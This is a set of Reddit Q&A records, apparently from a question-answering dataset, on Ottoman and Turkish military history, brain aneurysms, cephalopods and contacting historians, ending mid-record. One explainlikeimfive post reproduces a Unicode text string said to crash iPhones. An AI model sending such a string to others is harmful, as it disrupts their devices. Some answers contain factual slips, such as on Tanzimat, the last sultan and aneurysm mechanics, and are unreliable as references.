{"q_id": "1fod1o", "title": "How has the Turkish Army remained as secular as it is, and as pro-democracy as it seems to be? And what is the historical beginning of this ideology within the military?", "selftext": "I remember reading several stories years ago about the Turkish military being a supporter of a secular government in Turkey. Today, although they are not actively supporting the protestors in Istanbul, they are helping with tear gas and such. How have they managed to stay this way and how was this precedent set? Many Armies in the area and in similar nations (Egypt, Libya, Syria, etc...) have not remained so, or supported the people in the same way throughout their histories.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1fod1o/how_has_the_turkish_army_remained_as_secular_as/", "answers": {"a_id": ["cac8pv1", "cac8ti5"], "score": [15, 469], "text": ["I wouldn't say they have been pro democracy in the past! Turkey was under very undemocratic military rule until a coup in 1980 ousted them. Part of the reason that Erdogran and the AK party are so divisive is that they are seen by their opposition as trying to undo the democratic reforms that were put in place (new constitution etc) when Military rule was overthrown. \n\nTheir commitment to secularism stems from Ataturk, the founder of the modern Turkish Nation State, an army officer and the first President of Turkey, who led the fight for Turkish independence during the fall of the Ottoman Empire in the 1920s. \n\nThe Turkish Army is a natural opponent of Islamist factions, but historically that's been much more due to the competing centres of power - army versus clerics - than any great concern for democracy. \n\nHaving said that, the current generation of military personnel may have more liberal outlooks than their fathers and grandfathers, especially with closer ties to Europe etc.  ", "Long story. \n\nThe Ottoman Empire was extremely powerful for centuries until it wasn't. Gradually, the empire started losing battles against the Europeans and before long it began losing territory. Many people at the time attempted to understand why this had occurred and how the empire could be fixed. In the 18th century, Ottoman diplomatic corp and Ottoman aristocracy began to examine the the results of the enlightenment and the scientific revolution, particularly the printing press and the benefits of having a highly educated upper class.\n\nHowever much was not done. By the 19th century, the empire began losing even more territory, to the point of embarrassment. A young sultan, Mahmud II, decided that enough was enough. The material progress of industrialization had catapulted Europe ahead of the Ottoman Empire even as modernizers within were shut off by reactionaries and clerics. So the Sultan decided to change things.\n\n_URL_12_\n\nFirst, he destroyed the janissaries. These soldiers, originally Christian boys who had been converted to Islam and trained of be Jedi-Ninja warriors of doom in service of the sultan, had become complacent. Moreover they had become kingmakers. Mahmut's father and uncle were both deposed and killed by the janissaries for attempting reform. The sultan ordered the elite Cavalry corps known as the Sipahis to attack the Jannisary barracks. He destroyed the sipahis right afterwards and set up a modern army. Witty and self indulgent British observers decided to call the incident the \"The Auspicious Incident\" and so it is known in history.\n\n_URL_13_ (Mahmud II before Tanzimat, in Ottoman dress)\n\n_URL_4_ (Mahmud II in Western dress, after Tanzimat)\n\nThe sultan got rid of the biggest opposition to radical reform although there were many conservative elements still present. **The sultan declared \"Tanzimat\" in 1839. This is important. Tanzimat means re-organization.** The turban was outlawed and replaced with a fez. Soldiers, bureaucrats and most wealthy and or important people switched to western dress. The sultan declared that all religions and ethnicities were henceforth equal under the law. The empire began a rapid and concentrated effort to modernize. The military began to form into a professional corps modeled on Germany. Hundreds of officers and officials were sent to Europe to learn about their ways. Books began getting translated. Education became compulsory. Even the national anthem was composed based on Western polyphonic style. Think Japan and Meiji Restoration.\n\n_URL_10_  (This became the new national anthem of the Empire)\n_URL_11_  (Anthem of Mahmud's son Sultan Abdulmecid, compare to Mehter Marches: _URL_7_)\n\nA lot of people did not like this one bit. Although the empire was still officially Muslim, the former privileges disappeared. Before Tanzimat, a Christian accused of a crime could be found guilty based on one Muslim's testimony but a Muslim could only be found guilty on 3 or more Christian's testimonies. Many little things. Also, now all religions had to serve in the military, not just Muslims. And the non Muslim tax was abolished.\n\n_URL_1_ (Postcard celebrating the decrees announcing equality, celebrating Tanzimat)\n\nTanzimat continued. But by the reign of AbdulHamid II, both the sultan and others believed that the empire could selectively modernize. This meant keeping an authoritarian Caliph/Sultan while copying the material progress of the west. Many things were reversed.\n\nNonetheless, the military kept losing wars, particularly against Russia. The young officers decided that enough was enough and staged a revolution. They and many liberal politicians and viziers wrote a **constitution in 1876** that guaranteed equal treatment to all religions and ethnicities and is seen as the first step towards secularism in the Middle East. It is also the first constitution in the middle east. The Balkans had been exploding and the young reformers tried to create a new multiethnic and tolerant \"Ottoman\" identity. \n\n > Text of the First Ottoman Constitution of 1876:\n > \n > Public Rights of the Ottomans\n > Personal Liberties\n > Art. 8. All subjects of the empire are called Ottomans, without distinction whatever faith they profess; the status of an Ottoman is acquired and lost according to conditions specified by law.\n\n > Art. 9. Every Ottoman enjoys personal liberty on condition of non interfering with the liberty of others.\n\n > Art. 10. Personal liberty is wholly inviolable. No one can suffer punishment, under any pretext whatsoever, except in cases determined by law, and according to the forms prescribed by it. \n\n > Religion\n\n > Art. 11. Islam is the state religion. But, while maintainig this principle, the state will protect the free exercise of faiths professed in the Empire, and uphold the religious privileges granted to various bodies, on condition of public order and morality not being interfered with.\n\n > The Press\n\n > Art. 12. The press is free, within limits imposed by law.\n\n > Art. 13. Ottomans have the power of forming commercial companies, industrial or agricultural, within limits imposed by law and statute.\n\n > Right of Petition\n\n > Art 14. One or more persons of ottoman nationality have the right of presenting petitions in the proper quarter relating to the breaking of law and regulation, done either to their own or public detriment, and may likewise present in protest signed petitions to the General Ottoman Assembly, complaining of the conduct of state servants and functionaries.\n\n > Education\n\n > Art. 15. Education is free. Every Ottoman can attend public or private instructions on condition of conforming to the law.\n\n > Schools\n\n > Art. 16. All schools are under state supervision. Proper means will be devised for harmonizing and regulating the instruction given to all the Ottomans, but without interfering with the religious education in the various districts.\n\n > Equality before the Law, Public Offices\n\n > Art. 17. All Ottomans are equal in the eyes of the law. They have the same rights, and owe the same duties towards their country, without prejudice to religion.\n\n > Art. 18. Eligibility to public office is conditional on a knowledge of Turkish, which is the official language of the State.\n\n > Art. 19. All Ottomans are admitted to public offices, according to their fitness, merit, and ability.\n > Taxes\n\n > Art. 20. The assessment and distribution of the taxes are to be in proportion to the fortune of each taxpayer, in conformity with the laws and special regulations.\n\n > Property\n\n > Art 21. Property, real and personal, of lawful title, is guaranteed. There can be no dispossession, except on good public cause shown, and subject to the previous payment, according to law of the value of the property in question.\n\n\nIt did not work out. Partly because it was not perfect but partly because reactionaries staged a counter-coup and restored AbdulHamid II. The sultan returned with a vengeance. Anyone suggesting any big change to the system was viewed with distrust and could be imprisoned or exiled. He set up a very effective secret police. The parliamentary monarchy of the constitution was replaced by an absolute monarchy run by select conservative viziers and the sultan. Intellectuals were exiled or killed. A generation of officers grew up reading their books and realizing that the Sultan was an idiot. \n\nNone of this tension disappeared.\n\nBetween 1876 and 1908, the Empire lost even more land and power. The Balkans began imploding and Europeans took North Africa, including Egypt. The empire was still very backwards and unindustrialized. \n\n**In 1908, young officers in the military staged a revolution. They were called the Young Turks.** The sultan tried to kill them but people flood the streets of Istanbul and the sultan had no other choice but to give them power. They realized that the empire needed massive and quick modernization. Unfortunately, the only reason the empire had not been fully divided amongst the Europeans was that they couldn't decide who gets which part. So they then looked for a strong European ally who would protect them while they modernized. They approached everyone. Including Russia, France, Germany, and the UK. All said no except Germany which said maybe. So the empire began modernizing with the help of Germany. A railroad was completed between Baghdad and Berlin. German engineers built the first modern bridges in Istanbul. They built a telegraph network that rivaled France within 2 years and began construction on subways networks. Everything looked good. Even Russia stopped attacking the Ottomans. \n\nUntil a month before WW1 when the Ottomans promised to give Germany the 2 advanced dreadnaughts they had paid for and which were being constructed in Britain. Little did the Germans know that the British had just told the ottomans that they had seized the ships. So the Germans said yes and signed a formal treaty with the Ottomans for the ships the Ottomans knew they could never deliver on.  (Longer explanation on this series of events in the comments below)\n------\nI'm on my ipad. Gonna go on laptop to edit and continue. EDIT: I'm back. Drinking beers on the patio while typing on an ipad was not easy. This is much better..\n-----\n\nLETS CONTINUE\n\nThe Young Turks were a coalition of many groups. Led by Jemal, Enver, and Talaat (all of whom hated each other), they were initially supported by liberals and religious and ethnic minorities. Their organizer was a Jewish businessman from Salonika (Danone, his nephew created Grup Danone in France). The parliament established after the 1908 restoration of the Ottoman Constitution was filled with Jews, Greeks, Armenians, etc. \n\nSo when they got the treaty with Germany about a month before WW1 began, the leadership was very happy. They finally had a strong guarantee that Germany would protect them from other European powers. But then WW1 happened. The wording of the treaty meant that the Ottomans did not have to go to war unless Germany itself was forced to attack Russia based on its defense treaty with the Austrians (in reality, Germany pre-emptively attacked Russia before Russia attacked the Austrians). But the Germans didn't care and forced the Ottomans into war through a false flag attack (flying Ottoman colors) on Russia.\n\nWW1 is a long story as well. Basically the Empire was not prepared and although it put up a good fight in Iraq and Gallipoli, it was decimated by disease, desertion (remember all those Greeks, Armenians and Jews forced to fight for the first time of their 1000+ time in the empire), war-crimes, lack of supplies, etc. \n\nThe empire lost the war. The Allies divided up the entire empire. Treaty of Sevres destroyed the Turkish nation.\n\n\n\nPARTITIONING OF ANATOLIA (Treaty of Sevres): _URL_0_\n\n------\n\nGroups of educated and motivated officers whose jobs were to disband the remnants of the army actually used their power to organize a war of independence. The religious elite in Istanbul had easily given up to the British. The Sheikh Ul-Islam, the greatest authority on Islam in the Empire called the officers \"Servants of satan\" for opposing the British. The villagers and the army didn't like this. They despised the aristocracy and religious elite for giving up and working with the allies. \n\n\nSo Mustafa Kemal Ataturk, who is a direct descendant of the intellectual tradition of Tanzimat and the liberal constitutional reforms, led the army and the Anatolian peasantry against the Greeks, the French, the Armenians, the Italians and actually won against all odds. \n\n\n_URL_14_\n\nAtaturk: _URL_6_\n\n-------\n\nAtaturk realized that the Empire had been on the right path but its conservative elements had always held it back. If it had actually modernized in 1876 and not let the reactionaries take power, it might have been ready for WW1. The war had killed some 40% of all men in the entire country, with massive humiliation and destruction. \n\nSo using his authority as the savior of the country, and with the army (filled with intelligent and reform-minded Ottoman officers!), decided that Turkey (as the new country was called) had to modernize and it had to do it fast. He abolished the caliphate and deposed the sultan. He also destroyed the religious elite which had formerly ruled the country. Many people opposed this and many people were arrested and or killed. Ataturk and Turks generally see this as a necessary. He changed the Ottoman script, which was impossible for peasants and particularly awkward for the Turkish vocabulary and phonology to the Latin script, literacy skyrocketed from less than 10% to 70%. He abolished sexist restrictions and over 50 women were elected to the newly established Grand Turkish National Assembly. \n\n\nSultan Mehmet V Resad (Last Sultan. Leaving to go board a British ship after being kicked out by Ataturk) _URL_2_\n\nThe Ottomans had never gone through the nation-state formation stage that Europeans had (think Louis XIV). SO  Ataturk decided that everyone within the borders of Turkey would be called Turks. His definition of Turk is not ethnic, its national. He himself was blond and blue eyed and his successor was Kurdish. \n\nNOW WHAT!? The people who opposed modernization ever since Tanzimat never dissapeared. They were angry that the Army and Ataturk had destroyed their way of life and former privileges. They saw Ataturk's pragmatic adoption of Western culture as disgusting. In those days, even mosques used Turkish in the call to prayer. Also, no longer could the clerics act as judges. NO longer could a man force his wife to wear a headscarf or take her property. A million things. \n\nAtaturk at Istanbul University\n_URL_3_\n\n\nDecent Wikipedia article on Ataturk's reforms: _URL_8_\n\nIt should be mentioned that many officers opposed the degree of westernization and secularism adopted by Ataturk and they were purged/imprisoned. However, the people and the majority of the army saw Ataturk as the savior of the country so they went along with his reforms. And if they didn't agree with Ataturk they stayed quiet. \n\nA new Republican and secular elite replaced the Ottoman era religious aristocrats. AKP was founded by the intellectual descendant's of this deposed class. \n\nAtaturk realized that attempts at modernization had failed at least 3 times before. He realized that reactionaries would try to restore shari'ah and Islamic rule and that Turkey, because of its history and geopolitical position, would always be endangered by these threats. So he made the state secular and empowered the military with the role of protecting the state from any government that would seek to turn back the clock. \n\nAtaturk's reforms were top-down and many people were pissed about them. \n\nThe god-worship of Ataturk is largely the work of Inonu and CHP. Ataturk's letters show that he hated stuff like that. \n\n------\n\nWalter Cronkite documentary about Ataturk! Very dated but interesting and good nonetheless. \n\n_URL_5_\n\nModern documentary in English. Very detailed. \n\n_URL_9_\n\nRead: A Peace to End All Peace, The Last Fez in the River, Ottoman Constitutionalism\n\n**TL;DR: Military in Turkey is the protector of secularism because its too long to explain and read the above you lazy prick :-)**\n\nEDIT: Wow! Thank you for the Reddit Gold! I tried to make my post a little fun and relaxed so that people wouldn't get bored. I'm doing my thesis on Ottoman Constitutionalism and late Tanzimat Ottoman politics so please feel free to ask any questions! "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/File:TreatyOfSevres_(corrected).PNG", "http://upload.wikimedia.org/wikipedia/commons/2/2d/Istiklal-1895.jpg", "http://upload.wikimedia.org/wikipedia/commons/0/0e/Sultanvahideddin.jpg", "http://upload.wikimedia.org/wikipedia/en/4/44/Ataturk_attends_a_university_class.jpg", "http://upload.wikimedia.org/wikipedia/commons/d/d8/Mahmud_II.jpg", "http://www.youtube.com/watch?v=q9EkewZea3k", "http://www.mrdowling.com/images/608ataturk1.jpg", "http://www.youtube.com/watch?v=EfTi8ZvYsco", "http://en.wikipedia.org/wiki/Atat%C3%BCrk's_Reforms", "http://www.youtube.com/watch?v=j-4KKL7AYYA", "http://www.youtube.com/watch?v=5Fp9RJE5hw8", "http://www.youtube.com/watch?v=PSaa2A7csxM", "http://en.wikipedia.org/wiki/Mahmud_II", "http://upload.wikimedia.org/wikipedia/commons/f/fe/Mahmud_II_by_John_Young.jpg", "http://en.wikipedia.org/wiki/Turkish_War_of_Independence"]]}
{"q_id": "2kjece", "title": "how does a brain anus rhythm instantly kill you", "selftext": "I know it has something to do with blood clots maybe?  But how do you just die instantly?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2kjece/eli5_how_does_a_brain_anus_rhythm_instantly_kill/", "answers": {"a_id": ["cllvjy1", "cllvl6a", "cllxt8c", "cllxv0a", "cllxxcf", "cllya26", "cllzjh4", "cllzvpk", "clm2ebv", "clm3fmi", "clm3wrf", "clmme3s"], "score": [31, 4718, 15, 4, 41, 216, 144, 12, 14, 45, 985, 5], "text": ["Do you mean an [\"aneurysm\"](_URL_0_)?\n\nIt's essentially a clot in a vein or artery in the brain, which causes the vessel to swell with the blood, eventually popping causing a bleed in the brain.\n\nThank you, you made my night.", "Okay...once I've managed to stop chuckling I'll answer this.\n\n.....\n\n....\n\n..\n\n.\n\nOkay. First off, its aneurysm. It refers to a structural weakening of a vessel wall, resulting in prominent bulging as blood pressure pushes against it. Typically, these aneurysms arise in major vessels, such as the aorta, basilar arteries, carotids, or any of the vessels composing the brain artery complex known as the 'Circle of Willis'.\n\nIf these aneurysms get severe enough, they can rupture, causing you to bleed out into your brain. Because these ruptures occur in the major vessels, it results in a rapid, dramatic loss of blood flow to your brain. It doesn't 'kill instantly' but depending on the size and location, it can cause rapid loss of consciousness and subsequent death as your brain becomes starved of blood and oxygen.", "It could depend on where the aneurysm is located. My brother had an aneurysm burst and he passed out in his back yard. He regained consciousness and drove to nearest clinic. Less than 24 hours later he had brain surgery. His aneurysm was between the skull and the brain, not in the brain itself. He spent a month in the ICU and afterwards told us he thought he was at work and had just passed out. He was mid-thirties at the time, two years older than me.", "Aneurysms and blood clots are different - clots get stuck and block blood flow and oxygen. Aneurysms are \"bulges\" in blood vessels that can rupture and cause bleeding. Sometimes they can also cause trouble just by being there, by pressing on nearby parts of the brain. They also make blood clot formation a bit more likely.\n\nYou don't really die instantly. Your prognosis depends on the severity of the aneurism. Clots can be extracted, aneurisms can be operated - if they're not too badly located, which is an issue in the brain. Can't really go digging around in there.", "I'm choosing to ignore the autocorrect screw up.\n\nAnyway, my mom died of a brain aneurysm a couple years ago, so I'm fairly knowledgeable on this subject.\n\nSo first of all, it doesn't instantly kill you; my mom lived for 17 days after her aneurysm.\n\nBut it can be deadly in a few ways. An aneurysm is, of course, a burst blood vessel. So with a brain aneurysm you have a ton of blood bleeding around the brain, and this causes immense pressure inside your skull. This can quickly kill you if they don't drain your head of some of the blood. Surviving that, it is possible to suffer strokes after the aneurysm, and these can severely damage brain function. My mom had two strokes, and after the second, she had no cognitive function left, so we were forced to take her off life support. \n\nSo that is basically how brain aneurysms kill. I'm probably forgetting a ton of stuff.", "First off.... That Title!! :)\n\n\nA Brain Aneurysm wont necessarily kill you, my mother had one while she was sleeping in her bed and recalls waking up to a \"Popping\" sound followed by the feeling of blood running all the way down the right side of her face under the skin (This is what she can remember after months of regaining her memory) all of her short term memory was gone for a good 6 months at least, It was quite hard to watch her try and do the simplest tasks, and repeatedly do other tasks, because she couldn't remember if she had done them or not. Example: Finding her car keys (she once even had all her neighbors inside thrashing her house helping her find them) she literally skipped back a few years in memory for a while, so everything current was new to her, over time she got better despite doctors saying it could be permanent and now she has fully regained her short term memory :)  ", "My MIL had 2 aneurysms in her brain, and had no symptoms. Then, one day one of them burst and within minutes she went from \"fine and dandy\" to a 5 on the [Glasgow Coma Scale](_URL_0_).  \nThey transported her to the hospital, where we they did CAT scan and told us that she had one giant hemorrhage, and another aneurysm that would have gone eventually if the first one hadn't.  \nThey explained the treatments available, and told us that none of them really had the power to make much of a difference.. She would most like die in the next few hours, and if she survived she had \"no chance of meaningful recovery.\"\nWe spent a rough night re-reading our copy of her will and directives. She had indicated that she didn't want any life or death decisions made for three days, so we did what the doctors recommended. No one expected any good to come of it, but we really wanted to try.    \nIt was truly amazing. It was a hard six weeks of ICU and then rehab, but you wouldn't be able to tell today that anything ever happened. They did surgery the next day to clamp the area that had burst, and they were able to get the other one as well.  \nToday she travels all around the south west in an RV, and does all those things we're all gonna do \"someday.\"  \nSo, no matter who you are, or how little you think you need it, get a will and directives and powers of attorney and whatever else you need in case someone needs to step in and make decisions for you. It was incredibly helpful as her bills needed paying and we had to go through all the insurance claims to have the ability to just dive in.  \n\nMore, though, was the comfort of knowing exactly how to proceed when she was deep in a coma. Sure, you may have had conversations with your loved ones about when they want you to pull the plug, but the actual decision is seldom as easy as we'd like it to be. And when you're the one struggling with letting Mom die but maybe she would have been just fine, or trying to save Mom and dooming her to a vegetative state, it's good to have Mom's thoughts right there in black and white.    \n**tl;dr** A brain aneurysm can happen with no symptoms. It's very hard to know at first what the outcome will be. Get your will and directives done!", "A vein in your head starts leaking and it squeezes your brain until you die. ", "When a brain aneurysm bursts (I'm specifically talking about subarachnoid hemorrhages), the main symptoms are a horrendous headache (like you've never experienced before), nausea, and sometimes unconciousness. About a third of people will make it to the hospital alive, and about 50% of them will survive the initial trauma. \n\nIt can be treated with a few types of neurosurgery. Following the initial trauma, re-bleeding from the aneurysm can be stopped by inserting small metal coils around the area which strengthens the vessel.\n\nIt's ok after that, right?\n \nNope. Chances are, if you survive the initial event, you'll be hit in a couple of days with vasospasm, where the blood vessels around the bleed massively constrict. There's no known cause for this yet, but it's assumed it's to do with the toxins created as the blood that \"escaped\" into the subarrachnoid layer breaks down. This can result in permanent brain damage as not enough oxygen is received in the brain, and although various treatment options exist there is no real evidence that they work (raising the patients blood pressure, for example). ", "Well, Kevin, a brain ANEURYSM is when a blood vessel in your brain, like the ones you can see in your arm, breaks open. When that happens you start to bleed in your head. The blood in your brain is very important because your brain needs that blood and the oxygen in it for you to live. Without that blood and oxygen your brain starts to become damaged very quickly and you could possibly die if the aneurysm is bad enough. \n", "As you may have noticed, this entire thread is now locked.  This is something of a \"nuclear option\" for us moderators, so a bit of explanation is in order.\n\nWe're not going to speculate as to whether or not \"anus rhythm\" was a carefully-crafted title to get upvotes or a simple victim of autocorrect, but for the purposes of this submission, we're giving the OP the benefit of the doubt, and erring on the side of \"autocorrect mishap\".  So the title itself is not the direct issue.  The issue is how others are responding to that title.\n\nIf you read the rules in the sidebar, they say:\n\n > Direct replies to the original post (aka \"top-level comments\") are for serious responses only. Jokes, anecdotes, and low effort explanations are not permitted and subject to removal.\n\nThe only valid responses to the question posed by the OP are ones that take the typo in stride (maybe even joke about it, that's fine), and then *explain how aneurysms work*.  That's it.  That's the only type of top-level comment that we allow (that, or a related, *serious* followup question).\n\nInstead, over 95% of the comments have been jokes or snide remarks about \"anus rhythms\" (including made-up disease descriptions), variations of \"lol\", and against-the-rules (if well-intentioned) anecdotes that lack any explanation.  Per our subreddit rules, we've been removing these comments.  However keeping this thread pruned is taking a serious amount of effort.  As of this writing, there are eight serious responses, and **hundreds** of removed joke responses. And the joke responses are pouring in faster than we can reasonably keep up with.\n\nAt this point, we feel that there have been enough serious responses to explain aneurysms to the OP, and the effort of keeping up with the flood of rule-breaking responses is detracting from our ability to moderate the rest of the subreddit, hence the \"nuclear option\".", "It typically doesn't kill you *instantly* but there are two ways it will kill you. First up, the aneurysm takes time to develop (months-years typically) and is often hereditary or lifestyle related (smoking/blood pressure/IV drug use). Then at some point the aneurysm will become fragile and start bleeding. In some cases the bleed is so bad it will cause such high pressures in the head that the brainstem will be forced out of the skull and crush it (coning) - this will stop your drive to breathe then over the course of 2-5 minutes the heart will be oxygen starved and go into a fatal rhythm. The other way is that the bleed will kill you more slowly, where the pressures aren't enough to kill the brainstem but are high enough to stop blood flow into the cortex (which essentially controls all parts of consciousness). The heart and in some cases the lungs will still work alright but the person will be \"brain dead\" or a \"vegetable\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Aneurysm"], [], [], [], [], [], ["http://en.m.wikipedia.org/wiki/Glasgow_Coma_Scale"], [], [], [], [], []]}
{"q_id": "x6ssp", "title": "Why are there no freshwater octopuses or squid?", "selftext": "There are freshwater crustaceans, gastropods, and bivalves. Why are there no freshwater cephalopods?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/x6ssp/why_are_there_no_freshwater_octopuses_or_squid/", "answers": {"a_id": ["c5jowt9", "c5jpfe0"], "score": [12, 37], "text": ["Interesting observation.\n\nYou might try soliciting opinions from [r/biology](_URL_0_)", "Living in freshwater requires that you have the ability to excrete fluid from your cells efficiently, because osmotic pressure causes water to constantly move into the cells.  Why they haven't evolved to deal with this.....honestly I have no idea.  It really doesn't make sense does it?\n\nI will note that this isn't a rare phenomenon.  The majority of groups of animals are limited to marine environments."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/biology/"], []]}
{"q_id": "37f4dl", "title": "why does sending this message to an iphone cause it to restart? i've been getting these all day...", "selftext": " effective.\u00a0\nPower\n\u0644\u064f\u0644\u064f\u0635\u0651\u0628\u064f\u0644\u064f\u0644\u0635\u0651\u0628\u064f\u0631\u0631\u064b \u0963\u00a0\u0963h \u0963 \u0963\n\u5197\n\n\nSend that to someone with an iPhone it turns their phone off", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/37f4dl/eli5_why_does_sending_this_message_to_an_iphone/", "answers": {"a_id": ["crm63it"], "score": [2], "text": ["The data that is sent as a message isn't in a vacuum. It's read just like all the other lines of code, and every character has a corresponding code that makes it appear on screen. Someone found a string of letters that looks like a command when read in its code form, this command must change something that either causes the phone to crash or just straight up commands it to turn off."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "cbi5oz", "title": "why could i eat the hottest most spiciest foods without any consequence 5 years ago, but now i will have the worst stomach pain off even a weak hot sauce?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cbi5oz/eli5_why_could_i_eat_the_hottest_most_spiciest/", "answers": {"a_id": ["etfmdz9"], "score": [9], "text": ["Because you are getting older.  Thats how it starts.  Next going out clubbing will take days to recover from.  Bending over will hurt.  Walking up stairs will be exhausting. In the end stages masturbation will be too much work.  Ahhh....Golden Years."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2bi5nv", "title": "Has anyone tried writing to their favorite historians? Any luck? Sorry if this is out of scope", "selftext": "(I apologize if this is inapropriate for this subreddit; I checked the rules and it seemed to fall into a grey area) I finished reading The Price of Glory, by Sir Alistair Horne, a few days back, and realized that I would like to, before the great Sir Horne leaves us here in the living, write a letter to him saying that I appreciate his writing, its style, clarity, et al.  I wondered if anyone has ever written to an author/historian and whether it was successful.  Was he/she responsive?  Who was it, and what did you talk about, if you'd be willing to divulge.  Any general tips for finding the agents or fan addresses for historians?  ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2bi5nv/has_anyone_tried_writing_to_their_favorite/", "answers": {"a_id": ["cj5l40y", "cj5mhbl", "cj5monz", "cj5nlei", "cj5o0is", "cj5oqjw", "cj5plns", "cj5rlrk", "cj5sbdq", "cj5sy09", "cj5vw0w", "cj5wf3u", "cj5xn07", "cj5xn2w", "cj5y35d", "cj62909", "cj64xqv"], "score": [9, 15, 21, 16, 4, 4, 4, 15, 3, 6, 2, 3, 3, 6, 5, 8, 2], "text": [" My experience was in a graduate level seminars where grad students would email the author of the books a series of questions about the book being discussed this week. Overall, it was a positive experience and helped illuminate issues about the books and their genesis. For example, Joachim Schl\u00f6r divulged to us the rationale behind including London in his monograph *Nights in the Big City: Paris, Berlin, London 1840-1930*.  Another grad student wrote to Andrew Zimmerman, author of the well-received *Alabama in Africa*, asking for his insights into comparative genocide studies. \n\nMy advice is that the best responders tend to be academic historians working inside an institution. Often their email is a work email that they answer personally. Thanks are appreciated, but also if you have (reasonable) questions that need clarification (genesis of the book, research used, etc) or advice on what to read next, it gives the historian something to respond to. More popular historians or academic superstars like Simon Schama are less likely to respond, but you might want to try an email via the publisher.    ", "I wrote to Farhad Daftary while I was working on my thesis of \"The Assassins.\"  I got a response from him telling me he would love to read my work (holy crap...for real?) and then he shared with me where to find more sources for my Master's Thesis.\n\nIt was pretty awesome.", "I emailed a certain scholar of Old English language and history (also a prof at an Ivy League school) and had a pretty terrible experience.\n\nI first sent a brief email saying that I was an undergrad interested in studying Old English, and I asked if it would be alright if I sent them some basic questions about the field.\n\nThey said ok, and I was really excited and spent a lot of time thinking of some simple, straightforward questions about the current state of Old English scholarship, who were some of the main historians in that field, what steps should I take if I was interested in that field, etc. It was a very short list of about 5 or 6 questions that probably would have taken less than 10 minutes to answer.\n\nThe response I got was a weird, paranoid email accusing me of being a marketer and ridiculing me for asking inane questions.\n\nIt wouldn't have been so bad if they hadn't already agreed to answer my questions. It was pretty disappointing.", "This may not be exactly what you're looking to hear about, but I've found that many major scholars in the field of First World War studies are reasonably active on Twitter.  It's a medium that demands a certain amount of brazenness and familiarity even with those whom you've never met, and those who make regular use of it seem to expect that.  Consequently, I've had plenty of interesting chats with people in different countries whose books line my shelf even as I type this.  It's fantastic.\n\nThis seems to be true in many other fields as well, for what it's worth, and I heartily encourage anyone who's involved in academic history to get a Twitter account and see what (and who) is out there.", "I wrote to Antony Beevor with a correction to an error I found in his book on the Second World War (he implied that the draft began in the US in the late summer of 1941). I couldn't find a direct email address though, so sent it to to the contact on his website. Never heard back.", "I wrote to William Caferro once about his book on John Hawkwood. Never got a reply.\nThat said, if he is typical, then finding contact info is easy. A recent book probably contains accurate information about his academic affiliation which can be confirmed.with Google. Then, a quick visit to the university's faculty page should have an email.", "Yes. I do all the time on this subreddit. :)", "Most of our \"celebrity historian\" AMAs have been \"cold\" emails actually, including Benerson Little and James McPherson. So there's been some remarkable success there! ", "I wrote Catherine Merrindale a few times. She always got back quickly and was very sweet, even when answering questions.", "I think the only fanmail I ever wrote was when I was 15 and I wrote to an early music performing group, asking them about their familiarity with New Testament Greek and church Latin. They said that yes, they have a rough understanding of these languages, which helps with their interpretations of the text. I may have asked other questions and gotten more answers, but I don't remember. What really mattered was that they were very nice about it, and very encouraging (I told them my age in the email).\n\nNot strictly historians in the sense of history professors, or anything, but their response was really exciting for adolescent me. It helped to make early music scholarship and performance seem much more accessible to someone like me.", "You guys have been immensely helpful.  I figure, it can't hurt, right?  I'm going to try sending something to Oxford to see if I can get it across Sir Horne's desk, and maybe Jonathan Stamp (I'm a big [HBO's] Rome fan, and he had such excellent commentary throughout), though the latter might take some work, at a cursory glance to find him.  Again, thanks for the advice. . . I guess I'll try my old twitter account that I only created to see what all the fuss was about and haven't checked in ages.", "I met one of my favorite historians, who's an authority on the history of the U.S.  &  Soviet space programs -- who has worked both for NASA and the Smithsonian's National Air  &  Space Museum, since as luck would have it, he was leading a special tour of the Natl. Air and Space Museum in Washington, DC, for a group I was part of. I told him I was a big fan of his work, and he was genuinely appreciative, I think.\n\nI won't lie -- it was a bit of a rockstar moment for me, and this was on a day that I also met 3 astronauts.", "I tried writing to James Belich once in the name of suggesting that revisionist NZ history is pretty poorly presented and taught (his teachings are presented with very little ambiguity in modern NZ). I asked him if he believed that history can ever really be that one-sided, but he never got back to me.", "Emailed one historian, to tell him I quite enjoyed his book and highlighted one quote in particular that spoke to me. He wrote back, said it was encouraging that someone had taken to heart his words and work, and thanked me for my support. I wasn't looking to open dialogue, so I left it at that, but there ya go!", "When I was thinking of going to grad school I wrote to James Hansen (*First Man* and *Forever Young*, astronaut bios) when he was still at Auburn. He answered all my questions about their program and then followed up with a phone call later in which we talked about Buzz Aldrin and Breaking Bad. \n\nI also emailed Anne Secord, a historian of Victorian science, after we read her article about working class botany clubs that met in pubs, for much the same reason as OP. She was very gracious and apologized for taking so long to get back to me. \n\nOne of our cohort emailed Steven Shapin and even though he's like the most famous working historian of science, he got right back to my friend and answered his questions in detail. \n\nI think most scholars working in institutions see it as part of their job (and if they don't, they really should IMO). ", "I read an article on methodology in global history and the future of imperial histories I rather liked, and when it became apparent my committee wouldn't work together anymore, I wrote to him with a CV asking him for advice on how to proceed.  He wrote back a two-page single-spaced letter basically telling me to come visit because I articulated issues that he wanted students who cared about.  After visiting, and really enjoying the faculty and students, I applied and got in, and that's where I did my PhD.\n\nOn the other hand, I had another renowned scholar of empire pick on me for using phonetically correct transliterations for Arabic names in my letter, and another (at an Ivy League school) dismissively say \"yeah, whatever, I still supervise those things, and hey I'm writing this from an airplane over the Andes!\"  Didn't go there.\n\nAll of these (mine and theirs) were hardcopy letters, which was unusual even way back in 1999.  Nobody accused me of pulling a scam, because I made certain they could figure out who I was really easily.", "I wrote to one emeritus professor who specialized in agriculture history with a pretty specific question about sources, and he went through his own library, found a book from the 1920s that had what I wanted, and then 